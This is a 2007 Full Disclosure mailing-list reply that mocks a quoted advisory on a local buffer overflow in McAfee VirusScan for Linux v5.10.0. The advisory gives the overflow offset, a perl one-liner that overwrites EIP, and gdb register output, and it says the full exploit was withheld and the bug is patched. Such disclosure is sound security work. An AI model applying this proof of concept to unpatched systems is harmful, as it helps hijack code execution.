Full Disclosure: Re: McAfee Virus Scan for Linux and Unix v5.10.0 Local Buffer Overflow

["Joey Mengele" <joey.mengele () hushmail com>]

Where does security come into play here? This is a local crash in a 
non setuid binary. I would like to hear your remote exploitation 
scenario. Or perhaps your local privilege escalation scenario?

J

P.S. We all know this advisory is bullshit, you should have sold it 
to WabiSabiLabi LOLOLOL

On Wed, 15 Aug 2007 08:56:54 -0400 Sebastian Wolfgarten 
<sebastian () wolfgarten com> wrote:
> I - TITLE
>
> Security advisory: McAfee Virus Scan for Linux and Unix v5.10.0 
> Local
> Buffer Overflow
>
> II - SUMMARY
>
> Description: Local buffer overflow vulnerability in McAfee Virus 
> Scan
> for Linux and Unix allows arbitrary code execution
>
> Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com)
>
> Date: August 15th, 2007
>
> Severity: Low-Medium
>
> References: http://www.devtarget.org/mcafee-advisory-08-2007.txt
>
> III - OVERVIEW
>
> McAfee Virus Scan for Linux and Unix is a command-line version of 
> the
> popular McAfee anti-virus scanner running on the Linux operating 
> system
> as well as on other Unices (e.g. AIX, Solaris, HP-UX etc.). It was
> discovered that the product is prone to a classic buffer overflow
> vulnerability when attempting to scan files or directories with a
> particularly long name. This vulnerability results in the local
> execution of arbitrary code with the privileges of the user 
> running the
> scanner, privilege escalation is by default not possible. Remote
> exploitation appears to be infeasible due to file length 
> limitations in
> popular file systems.
>
> IV - DETAILS
>
> The overflow occurs when the product tries to scan a file or 
> directory
> with a name that is longer than a certain size (approx. 4124+ 
> bytes).
> For example on a Debian Linux 3.1 test system, it takes 4124+4 
> bytes to
> successfully overwrite the EIP register and thus execute arbitrary 
> code:
>
> # /usr/local/uvscan/uvscan --version
> Virus Scan for Linux v5.10.0
> Copyright (c) 1992-2006 McAfee, Inc. All rights reserved.
> (408) 988-3832  EVALUATION COPY - May 26 2006
>
> Scan engine v5.1.00 for Linux.
> Virus data file v4777 created Jun 05 2006
> Scanning for 194376 viruses, trojans and variants.
>
> # gdb /usr/local/uvscan/uvscan
> GNU gdb 6.3-debian
> Copyright 2004 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, 
> and you
> are welcome to change it and/or distribute copies of it under 
> certain
> conditions. Type "show copying" to see the conditions. There is
> absolutely no warranty for GDB. Type "show warranty" for details. 
> This
> GDB was configured as "i386-linux"...(no debugging symbols found)
> Using host libthread_db library "/lib/tls/libthread_db.so.1".
>
> (gdb) run `perl -e 'print "A"x4124 . "B"x4'`
> Starting program: /usr/local/uvscan/uvscan `perl -e 'print 
> "A"x4124 .
> "B"x4'`
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> (no debugging symbols found)
> [Thread debugging using libthread_db enabled]
> [New Thread 1080238208 (LWP 2461)]
> (no debugging symbols found)
>
> Program received signal SIGSEGV, Segmentation fault.
> [Switching to Thread 1080238208 (LWP 2461)]
> 0x42424242 in ?? ()
> (gdb) info registers
> eax            0x1      1
> ecx            0x8068430        134644784
> edx            0x1      1
> ebx            0x41414141       1094795585
> esp            0xbfffdc40       0xbfffdc40
> ebp            0x41414141       0x41414141
> esi            0x41414141       1094795585
> edi            0x41414141       1094795585
> eip            0x42424242       0x42424242
> eflags         0x282    642
> cs             0x73     115
> ss             0x7b     123
> ds             0x7b     123
> es             0x7b     123
> fs             0x0      0
> gs             0x33     51
>
> V - EXPLOIT CODE
>
> An exploit for this vulnerability has been developed but will not
> released to the general public at this time.
>
> VI - WORKAROUND/FIX
>
> To address this problem, the vendor has released McAfee VirusScan
> Command Line Scanner for Linux and Unix version 5.20. Thus all 
> users of
> the product are asked to test and install this patch as soon as
> possible. McAfee has also published a dedicated security bulletin 
> that
> covers the problem (see
> https://knowledge.mcafee.com/SupportSite/dynamickc.do?externalId=61
> 3576&sliceId=SAL_Public&command=show&forward=nonthreadedKC&kcId=613
> 576).
>
>
> VII - DISCLOSURE TIMELINE
>
> 18. December 2006 - Notified security () mcafee com
> 19. December 2006 - Vendor responded that vulnerability is being
> investigated
> 19. December to 15. August 2007 - Weekly vendor report on the 
> progress
> of the development of the patch
> 01. August 2007 - Release of patch
> 15. August 2007 - Public disclosure
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